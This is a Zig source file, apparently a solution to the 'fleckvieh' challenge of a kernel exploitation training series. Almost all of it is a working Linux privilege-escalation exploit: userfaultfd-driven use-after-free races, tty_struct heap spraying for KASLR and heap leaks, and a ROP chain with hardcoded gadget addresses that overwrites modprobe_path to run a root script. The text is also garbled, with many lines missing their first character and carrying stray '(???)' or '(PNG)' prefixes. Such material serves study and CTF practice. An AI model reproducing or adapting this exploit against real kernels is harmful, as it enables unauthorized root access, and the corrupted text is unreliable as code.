(???) onst std = @import("std");
(PNG) ub const std_options = std.Options{
(???) .log_level = if (@hasDecl(@This(), "DEBUG")) .debug else .info,
(???) .logFn = pawnyableLogger,
(???) ;
(PNG) ub fn pawnyableLogger(
(???) comptime level: std.log.Level,
(???) comptime _: @Type(.enum_literal),
(???) comptime format: []const u8,
(???) args: anytype,
(???) void {
(???) const prefix = "[" ++ comptime blk: {
(???) const level_text = level.asText();
(???) var buf: [level_text.len]u8 = undefined;
(???) break :blk std.ascii.upperString(&buf, level_text);
(???) } ++ "] ";
(???) std.debug.lockStdErr();
(???) defer std.debug.unlockStdErr();
(???) const stderr = std.io.getStdErr().writer();
(???) nosuspend stderr.print(prefix ++ format ++ "\n", args) catch return;
(???)
(???) n bigEndianify(comptime len: usize, buf: []const u8) [len]u8 {
(???) var bufLE: [len]u8 = undefined;
(???) inline for (0..len) |i| bufLE[i] = buf[len-1-i];
(???) return bufLE;
(???)
(???) ar __spinlock: bool = false;
nline fn spin() void {
(???) while (true) if (__spinlock) break;
(???)
(???) xport var user_cs: u64 = 0;
(???) xport var user_ss: u64 = 0;
(???) xport var user_rsp: u64 = 0;
(???) xport var user_rflags: u64 = 0;
(???) n saveState() callconv(.C) void {
(???) asm volatile (
(???) \\.intel_syntax noprefix
(???) \\mov user_cs, cs
(???) \\mov user_ss, ss
(???) \\.att_syntax
(???) );
(???)
(???) n whoami() void {
(???) std.log.info("You won!!", .{});
(???) const args = [_:null]?[*:0]const u8{"/usr/bin/whoami"};
(???) const env = [_:null]?[*:0]u8{};
(???) switch (std.posix.execveZ("/usr/bin/whoami", args[0..args.len], env[0..env.len])) {
(???) else => unreachable,
(???) }
(???) unreachable;
(???)
(???) n modprobePath() void {
(???) std.log.info("You won!!", .{});
(???) const tmpx = std.fs.cwd().createFile(
(???) "/tmp/x", .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) tmpx.writeAll(
(???) \\#!/bin/sh
(???) \\/usr/bin/whoami &> /tmp/whoisit
(???) \\chmod 777 /tmp/whoisit
(???) ) catch unreachable;
(???) tmpx.close();
(???) const unknown = std.fs.cwd().createFile(
(???) "/tmp/unknown", .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) unknown.writeAll(&[_]u8{0xff}**4) catch unreachable;
(???) unknown.close();
(???) std.posix.exit(0);
(???)
(???) n corePattern() void {
(???) std.log.info("You won!!", .{});
(???) const tmpx = std.fs.cwd().createFile(
(???) "/tmp/x", .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) tmpx.writeAll(
(???) \\#!/bin/sh
(???) \\/usr/bin/whoami &> /tmp/whoisit
(???) \\chmod 777 /tmp/whoisit
(???) ) catch unreachable;
(???) tmpx.close();
(???) switch (std.posix.fork() catch unreachable) {
(???) 0 => std.posix.abort(),
(???) else => |pid| _ = std.posix.waitpid(pid, 0),
(???) }
(???) const flag = std.fs.openFileAbsolute("/tmp/whoisit", .{}) catch {
(???) std.log.err("Failed to open /tmp/whoisit", .{});
(???) std.posix.abort();
(???) };
(???) defer flag.close();
(???) std.debug.print("{s}", .{(tmpx.reader().readBoundedBytes(32) catch unreachable).constSlice()});
(???) std.posix.exit(0);
(???)
(???) n catchSigsegv(comptime handler: *const fn () void) void {
(???) const wrapper = struct { fn wrapper(_: i32) callconv(.C) void { handler(); } }.wrapper;
(???) const sigact = std.posix.Sigaction{
(???) .handler = .{ .handler = &wrapper },
(???) .mask = std.posix.empty_sigset,
(???) .flags = 0,
(???) };
(???) std.posix.sigaction(std.posix.SIG.SEGV, &sigact, null);
(???)
(???) onst fleckvieh = struct {
(???) pub const ops = enum(u32) {
(???) ADD = 0xf1ec0001,
(???) DEL = 0xf1ec0002,
(???) GET = 0xf1ec0003,
(???) SET = 0xf1ec0004,
(???) };
(???) pub fn ioctl(fd: std.posix.fd_t, op: ops, buf: ?[]u8, id: ?i32) !i32 {
(???) if (op != .ADD and id == null) return error.InvalidArgument;
(???) const ret = std.os.linux.ioctl(fd, @intFromEnum(op), @intFromPtr(&request_t{ .id = id orelse undefined, .size = if (buf) |b| b.len else undefined, .data = if (buf) |b| @ptrCast(b) else undefined }));
(???) switch (std.posix.errno(ret)) {
(???) .SUCCESS => return @intCast(@as(i64, @bitCast(ret))),
(???) else => |e| return std.posix.unexpectedErrno(e),
(???) }
(???) }
(???) ;
(???) onst request_t = extern struct {
(???) id: i32,
(???) size: usize,
(???) data: [*]u8,
(???) ;
(???) onst blob_list = extern struct {
(???) const struct_head = extern struct {
(???) next: *struct_head,
(???) prev: *struct_head,
(???) };
(???) id: i32,
(???) size: usize,
(???) data: [*]u8,
(???) list: struct_head,
(???) ;
(???) / as of 5.10.7
(???) onst tty_struct = extern struct {
(???) const ld_semaphore = extern struct {
(???) const list_head = extern struct {
(???) next: usize = 0xdeadbeefdeadbeef,
(???) prev: usize = 0xcafebabecafebabe,
(???) };
(???) count: u64 = 0,
(???) wait_lock: i32 = 0,
(???) wait_readers: i32 = 0,
(???) read_wait: list_head = .{},
(???) write_wait: list_head = .{},
(???) };
(???) index: i32 = 0,
(???) ldisc_sem: ld_semaphore = .{},
(???) // don't care about the rest
(???) pub fn init(ops_table: usize) tty_struct {
(???) // ops_table must live on the heap
(???) return .{
(???) .driver = ops_table,
(???) .ops = ops_table,
(???) .ldisc_sem = .{
(???) .read_wait = .{ .next = ops_table, .prev = ops_table },
(???) .write_wait = .{ .next = ops_table, .prev = ops_table },
(???) },
(???) };
(???) }
(???) ;
(???) onst tty_operations = extern struct {
(???) close: usize = 0,
(???) shutdown: usize = 0,
(???) cleanup: usize = 0,
(???) write: usize = 0,
(???) put_char: usize = 0,
(???) flush_chars: usize = 0,
(???) write_room: usize = 0,
(???) chars_in_buffer: usize = 0,
(???) ioctl: usize,
(???) ;
(???) onst pinThreadToCore = (struct {
(???) const pthread = @cImport({
(???) @cDefine("_GNU_SOURCE", {});
(???) @cInclude("pthread.h");
(???) });
(???) fn pinThreadToCore(thread: std.Thread.Handle, core: usize) !void {
(???) var cpu = std.bit_set.ArrayBitSet(usize, std.os.linux.CPU_SETSIZE*@sizeOf(usize)).initEmpty();
(???) cpu.set(core);
(???) const err = pthread.pthread_setaffinity_np(@ptrCast(thread), @sizeOf(std.posix.cpu_set_t), @ptrCast(&@as(std.posix.cpu_set_t, @bitCast(cpu.masks))));
(???) switch (@as(std.posix.E, @enumFromInt(err))) {
(???) .SUCCESS => return,
(???) .FAULT => unreachable,
(???) .INVAL => return error.InvalidArgument,
(???) .SRCH => return error.ProcessNotFound,
(???) else => |e| return std.posix.unexpectedErrno(e),
(???) }
(???) }
(???) ).pinThreadToCore;
(???) onst userfaultfd = struct {
(???) pub const msg = packed struct {
(???) pub const EVENT = enum(u8) {
(???) PAGEFAULT = 0x12,
(???) FORK,
(???) REMAP,
(???) REMOVE,
(???) UNMAP,
(???) };
(???) event: EVENT,
(???) _reserved1: u8,
(???) _reserved2: u16,
(???) _reserved3: u32,
(???) arg: packed union {
(???) pagefault: packed struct {
(???) pub const FLAG = packed struct (u64) {
(???) WRITE: bool = false,
(???) WP: bool = false,
(???) MINOR: bool = false,
(???) _: u61 = 0,
(???) };
(???) flags: FLAG,
(???) address: u64,
(???) feat: packed union { ptid: u32 },
(???) },
(???) fork: packed struct { ufd: u32 },
(???) remap: packed struct {
(???) from: u64,
(???) to: u64,
(???) len: u64,
(???) },
(???) remove: packed struct {
(???) start: u64,
(???) end: u64,
(???) },
(???) _reserved: packed struct {
(???) _reserved1: u64,
(???) _reserved2: u64,
(???) _reserved3: u64,
(???) },
(???) },
(???) };
(???) const uffdio_api = extern struct {
(???) pub const FEATURE = packed struct (u64) {
(???) PAGEFAULT_FLAG_WP: bool = false,
(???) EVENT_FORK: bool = false,
(???) EVENT_REMAP: bool = false,
(???) EVENT_REMOVE: bool = false,
(???) MISSING_HUGETLBFS: bool = false,
(???) MISSING_SHMEM: bool = false,
(???) EVENT_UNMAP: bool = false,
(???) SIGBUS: bool = false,
(???) THREAD_ID: bool = false,
(???) MINOR_HUGETLBFS: bool = false,
(???) MINOR_SHMEM: bool = false,
(???) _: u53 = 0,
(???) };
(???) api: u64,
(???) features: FEATURE,
(???) ioctls: u64,
(???) };
(???) const uffdio_range = extern struct {
(???) start: u64,
(???) len: u64,
(???) };
(???) const uffdio_register = extern struct {
(???) pub const MODE = packed struct (u64) {
(???) MISSING: bool = false,
(???) WP: bool = false,
(???) MODE_MINOR: bool = false,
(???) _: u61 = 0,
(???) };
(???) range: uffdio_range,
(???) mode: MODE,
(???) ioctls: u64,
(???) };
(???) const uffdio_copy = extern struct {
(???) pub const MODE = packed struct (u64) {
(???) DONTWAKE: bool = false,
(???) WP: bool = false,
(???) _: u62 = 0,
(???) };
(???) dst: u64,
(???) src: u64,
(???) len: u64,
(???) mode: MODE,
(???) copy: i64,
(???) };
(???) const uffdio_zeropage = extern struct {
(???) pub const MODE = packed struct (u64) {
(???) DONTWAKE: bool = false,
(???) _: u63 = 0,
(???) };
(???) range: uffdio_range,
(???) mode: MODE,
(???) zeropage: i64,
(???) };
(???) const uffdio_writeprotect = extern struct {
(???) pub const MODE = packed struct (u64) {
(???) WP: bool = false,
(???) DONTWAKE: bool = false,
(???) _: u62 = 0,
(???) };
(???) range: uffdio_range,
(???) mode: MODE,
(???) };
(???) const uffdio_continue = extern struct {
(???) pub const MODE = packed struct (u64) {
(???) DONTWAKE: bool = false,
(???) _: u63 = 0,
(???) };
(???) range: uffdio_range,
(???) mode: MODE,
(???) mapped: i64,
(???) };
(???) const UFFD_API: u64 = 0xaa;
(???) const UFFDIO = enum(u32) {
(???) const _uffdio = 0xaa;
(???) const ioctl = std.os.linux.IOCTL;
(???) API = ioctl.IOWR(_uffdio, 0x3f, uffdio_api),
(???) REGISTER = ioctl.IOWR(_uffdio, 0x00, uffdio_register),
(???) UNREGISTER = ioctl.IOR(_uffdio, 0x01, uffdio_range),
(???) WAKE = ioctl.IOR(_uffdio, 0x02, uffdio_range),
(???) COPY = ioctl.IOWR(_uffdio, 0x03, uffdio_copy),
(???) ZEROPAGE = ioctl.IOWR(_uffdio, 0x04, uffdio_zeropage),
(???) WRITEPROTECT = ioctl.IOWR(_uffdio, 0x06, uffdio_writeprotect),
(???) CONTINUE = ioctl.IOWR(_uffdio, 0x07, uffdio_continue),
(???) };
(???) pub fn register(region: []u8, comptime fault_handler: anytype, fh_args: anytype) !void {
(???) const fd: std.posix.fd_t = blk: {
(???) const err = std.os.linux.syscall1(std.os.linux.syscalls.X64.userfaultfd, @as(u32, @bitCast(std.os.linux.O{ .CLOEXEC = true, .NONBLOCK = true })));
(???) switch (std.os.linux.E.init(err)) {
(???) .SUCCESS => break :blk @intCast(err),
(???) else => |e| return std.posix.unexpectedErrno(e),
(???) }
(???) };
(???) var ufapi = uffdio_api{ .api = UFFD_API, .features = .{}, .ioctls = undefined };
(???) switch (std.posix.errno(std.os.linux.ioctl(fd, @intFromEnum(UFFDIO.API), @intFromPtr(&ufapi)))) {
(???) .SUCCESS => {},
(???) else => |err| return std.posix.unexpectedErrno(err),
(???) }
(???) var ufreg = uffdio_register{ .range = .{ .start = @intFromPtr(@as([*]u8, @ptrCast(region))), .len = region.len }, .mode = .{ .MISSING = true }, .ioctls = undefined };
(???) switch (std.posix.errno(std.os.linux.ioctl(fd, @intFromEnum(UFFDIO.REGISTER), @intFromPtr(&ufreg)))) {
(???) .SUCCESS => {},
(???) else => |err| return std.posix.unexpectedErrno(err),
(???) }
(???) var t = try std.Thread.spawn(.{}, fault_handler, .{fd} ++ fh_args);
(???) try pinThreadToCore(t.getHandle(), 0);
(???) t.detach();
(???) }
(???) ;
(???) n testFaultHandler(fd: std.posix.fd_t) void {
(???) const ufd = userfaultfd;
(???) const S = struct {
(???) var msg: ufd.msg = undefined;
(???) var fault_count: u32 = 0;
(???) };
(???) const page = std.posix.mmap(
(???) null,
(???) 0x1000,
(???) std.os.linux.PROT.READ | std.os.linux.PROT.WRITE,
(???) std.posix.MAP{ .TYPE = .PRIVATE, .ANONYMOUS = true },
(???) -1,
(???) 0,
(???) ) catch {
(???) std.log.err("mmap failed", .{});
(???) return;
(???) };
(???) defer std.posix.munmap(page);
(???) std.log.info("Waiting for page fault...", .{});
(???) var pollfds = [_]std.posix.pollfd{
(???) .{ .fd = fd, .events = std.posix.POLL.IN, .revents = undefined }
(???) };
(???) while (true) {
(???) _ = std.posix.poll(&pollfds, -1) catch break;
(???) const pollfd = pollfds[0];
(???) const err_mask = std.posix.POLL.ERR | std.posix.POLL.HUP;
(???) if (pollfd.revents & err_mask != 0) {
(???) std.log.err("poll failed", .{});
(???) return;
(???) }
(???) _ = std.posix.read(fd, std.mem.asBytes(&S.msg)) catch {
(???) std.log.err("read failed", .{});
(???) return;
(???) };
(???) const pagefault_event = switch (S.msg.event) {
(???) .PAGEFAULT => S.msg.arg.pagefault,
(???) else => {
(???) std.log.err("Received non-pagefault event", .{});
(???) return;
(???) },
(???) };
(???) std.log.info("pagefault_event.flags = {any}", .{pagefault_event.flags});
(???) std.log.info("pagefault_event.addr = 0x{x}", .{pagefault_event.address});
(???) @memcpy(page[0..9], if (S.fault_count % 2 == 0) "Test (0)\x00" else "Test (1)\x00");
(???) S.fault_count += 1;
(???) var ufcopy = ufd.uffdio_copy{ .src = @intFromPtr(@as([*]u8, @ptrCast(page))), .dst = pagefault_event.address & ~@as(u64, 0xfff), .len = page.len, .mode = .{}, .copy = 0 };
(???) switch (std.posix.errno(std.os.linux.ioctl(fd, @intFromEnum(ufd.UFFDIO.COPY), @intFromPtr(&ufcopy)))) {
(???) .SUCCESS => {},
(???) else => |err| {
(???) std.log.err("{any}", .{err});
(???) return;
(???) },
(???) }
(???) }
(???)
(???) ar PUSH_RDX_CMP_EAX_0x415b005c_POP_RSP_POP_RBP: u64 = 0xffffffff8109b13a;
(???) ar MOV_ADDROF_RAX_RDI: u64 = 0xffffffff8110850a;
(???) ar POP_RAX: u64 = 0xffffffff8125a664;
(???) ar POP_RDI: u64 = 0xffffffff812a7d7c;
(???) ar KPTI_TRAMPOLINE: u64 = 0xffffffff81800e10+22;
(???) ar MODPROBE_PATH: u64 = 0xffffffff81e37ea0;
(???) n ropchain(buf: []u8) !usize {
(???) const chain = [_]u64{
(???) 0, // junk
(???) POP_RDI,
(???) std.mem.readInt(u64, "/tmp/x\x00\x00", .little),
(???) POP_RAX,
(???) MODPROBE_PATH,
(???) MOV_ADDROF_RAX_RDI,
(???) KPTI_TRAMPOLINE,
(???) 0, // junk
(???) 0, // junk
(???) @intFromPtr(&modprobePath),
(???) user_cs,
(???) user_rflags,
(???) user_rsp,
(???) user_ss,
(???) };
(???) @memcpy(buf[0..chain.len*@sizeOf(u64)], std.mem.asBytes(&chain));
(???) return std.mem.asBytes(&chain).len;
(???)
(???) n adjust_offsets(kaslr_offset: u64) void {
(???) const gadgets = &[_]*u64{
(???) &PUSH_RDX_CMP_EAX_0x415b005c_POP_RSP_POP_RBP,
(???) &MOV_ADDROF_RAX_RDI,
(???) &POP_RAX,
(???) &POP_RDI,
(???) &KPTI_TRAMPOLINE,
(???) &MODPROBE_PATH,
(???) };
(???) for (gadgets) |g| {
(???) g.* += kaslr_offset;
(???) }
(???)
(???) onst UAF = enum {
(???) AAR,
(???) AAW,
(???) ;
(???) n sprayFaultHandler(uffd: std.posix.fd_t, fd: std.posix.fd_t, ttys: []std.posix.fd_t, buf: []u8, id: *i32, uaf_type: *UAF) void {
(???) var pollfds = [_]std.posix.pollfd{
(???) .{ .fd = uffd, .events = std.posix.POLL.IN, .revents = undefined }
(???) };
(???) while (true) {
(???) _ = std.posix.poll(&pollfds, -1) catch break;
(???) const pollfd = pollfds[0];
(???) const err_mask = std.posix.POLL.ERR | std.posix.POLL.HUP;
(???) if (pollfd.revents & err_mask != 0) {
(???) std.log.err("poll failed", .{});
(???) return;
(???) }
(???) var msg: userfaultfd.msg = undefined;
(???) _ = std.posix.read(uffd, std.mem.asBytes(&msg)) catch {
(???) std.log.err("read failed", .{});
(???) return;
(???) };
(???) const pagefault_event = switch (msg.event) {
(???) .PAGEFAULT => msg.arg.pagefault,
(???) else => {
(???) std.log.err("received non-pagefault event", .{});
(???) return;
(???) },
(???) };
(???) std.log.info("Beginning {s}", .{@tagName(uaf_type.*)});
(???) switch (uaf_type.*) {
(???) .AAR => {},
(???) .AAW => {
(???) // we want to overwrite the data at the address `heap_leak' with malicious tty_operations structures
(???) // but we cannot simply SET the contents of the tty_struct that `heap_leak' points to
(???) // instead, we will free the aforementioned tty_struct(s) and spray tty_operations (by adding blobs with contents of `buf'), hoping that one will be placed at `heap_leak'
(???) for (0..100) |_| {
(???) _ = fleckvieh.ioctl(fd, .ADD, buf, null) catch |err| {
(???) std.log.err("blob_add failed with {any}", .{err});
(???) return;
(???) };
(???) }
(???) },
(???) }
(???) _ = fleckvieh.ioctl(fd, .DEL, null, id.*) catch |err| {
(???) std.log.err("blob_del failed with {any}", .{err});
(???) return;
(???) };
(???) for (ttys) |*tty| {
(???) tty.* = std.posix.open("/dev/ptmx", .{ .ACCMODE = .RDONLY, .NOCTTY = true }, 0o660) catch unreachable;
(???) }
(???) var ufcopy = userfaultfd.uffdio_copy{ .src = @intFromPtr(@as([*]u8, @ptrCast(buf))), .dst = pagefault_event.address, .len = std.heap.page_size_min, .mode = .{}, .copy = 0 };
(???) switch (std.posix.errno(std.os.linux.ioctl(uffd, @intFromEnum(userfaultfd.UFFDIO.COPY), @intFromPtr(&ufcopy)))) {
(???) .SUCCESS => {},
(???) else => |err| {
(???) std.log.err("{any}", .{err});
(???) return;
(???) },
(???) }
(???) }
(???)
(???) n exploit(fd: std.posix.fd_t) !void {
(???) var ttys: [10]std.posix.fd_t = undefined;
(???) var buf: [1024]u8 = undefined;
(???) var id: i32 = undefined;
(???) var uaf_type: UAF = undefined;
(???) const faultable_pages = try std.posix.mmap(
(???) null,
(???) 3*std.heap.page_size_min, // 3 UAFs
(???) std.os.linux.PROT.READ | std.os.linux.PROT.WRITE,
(???) std.posix.MAP{ .TYPE = .PRIVATE, .ANONYMOUS = true },
(???) -1,
(???) 0,
(???) );
(???) defer std.posix.munmap(faultable_pages);
(???) try userfaultfd.register(faultable_pages, sprayFaultHandler, .{fd, &ttys, &buf, &id, &uaf_type});
(???) const kaslr_offset = blk: {
(???) defer for (ttys) |tty| std.posix.close(tty);
(???) id = try fleckvieh.ioctl(fd, .ADD, &buf, null);
(???) uaf_type = .AAR;
(???) // trigger a page fault and leak heap address
(???) // when calling copy_to_user, the first few bytes are copied from the heap, and only when they are moved into `faultable_pages'
(???) // does the UAF occur. Therefore, to ensure the bytes containing `tty_struct.ops' are not copied before copy_to_user accesses `faultable_pages', we must make a smaller request.
(???) _ = try fleckvieh.ioctl(fd, .GET, faultable_pages[0..0x20], id);
(???) const ptmx_fops_addr: u64 = 0xffffffff81c3c3c0;
(???) break :blk std.mem.bytesAsValue(u64, faultable_pages[@offsetOf(tty_struct, "ops")..][0..@sizeOf(@FieldType(tty_struct, "ops"))]).* - ptmx_fops_addr;
(???) };
(???) adjust_offsets(kaslr_offset);
(???) std.log.info("Kernel base @ 0x{x}", .{0xffffffff81000000+kaslr_offset});
(???) const heap_leak = blk: {
(???) defer for (ttys) |tty| std.posix.close(tty);
(???) id = try fleckvieh.ioctl(fd, .ADD, &buf, null);
(???) uaf_type = .AAR;
(???) _ = try fleckvieh.ioctl(fd, .GET, faultable_pages[std.heap.page_size_min..][0..1024], id);
(???) const offset = @offsetOf(tty_struct, "ldisc_sem") + @offsetOf(@FieldType(tty_struct, "ldisc_sem"), "read_wait");
(???) break :blk std.mem.bytesAsValue(u64, faultable_pages[std.heap.page_size_min..][offset..][0..8]).* - offset;
(???) };
(???) std.log.info("Heap leak = 0x{x}", .{heap_leak});
(???) {
(???) @memcpy(buf[0..1024], faultable_pages[std.heap.page_size_min..][0..1024]);
(???) const tty = std.mem.bytesAsValue(tty_struct, &buf);
(???) tty.*.magic = 0x5401;
(???) tty.*.kref = 0;
(???) tty.*.dev = 0;
(???) tty.*.driver = heap_leak;
(???) tty.*.ops = heap_leak+0x100;
(???) // ensure ropchain is far away enough from important tty_struct internals
(???) @memcpy(buf[0x100..][0..@sizeOf(tty_operations)], std.mem.asBytes(&tty_operations{ .ioctl = PUSH_RDX_CMP_EAX_0x415b005c_POP_RSP_POP_RBP }));
(???) _ = try ropchain(buf[0x100..][@sizeOf(tty_operations)..]);
(???) id = try fleckvieh.ioctl(fd, .ADD, &buf, null);
(???) uaf_type = .AAW;
(???) _ = try fleckvieh.ioctl(fd, .SET, faultable_pages[2*std.heap.page_size_min..][0..1024], id);
(???) }
(???) for (ttys) |tty| _ = std.os.linux.ioctl(tty, 0xdeadbeef, heap_leak+0x100+@sizeOf(tty_operations));
(???)
(PNG) ub fn main() !void {
(???) {
(???) var cpu: std.os.linux.cpu_set_t = @splat(0);
(???) cpu[0] = 1;
(???) try std.os.linux.sched_setaffinity(std.os.linux.getpid(), &cpu);
(???) }
(???) catchSigsegv(&modprobePath);
(???) saveState();
(???) const fd = try std.posix.open("/dev/fleckvieh", .{ .ACCMODE = .RDWR }, 0o660);
(???) defer std.posix.close(fd);
(???) try exploit(fd);
(???)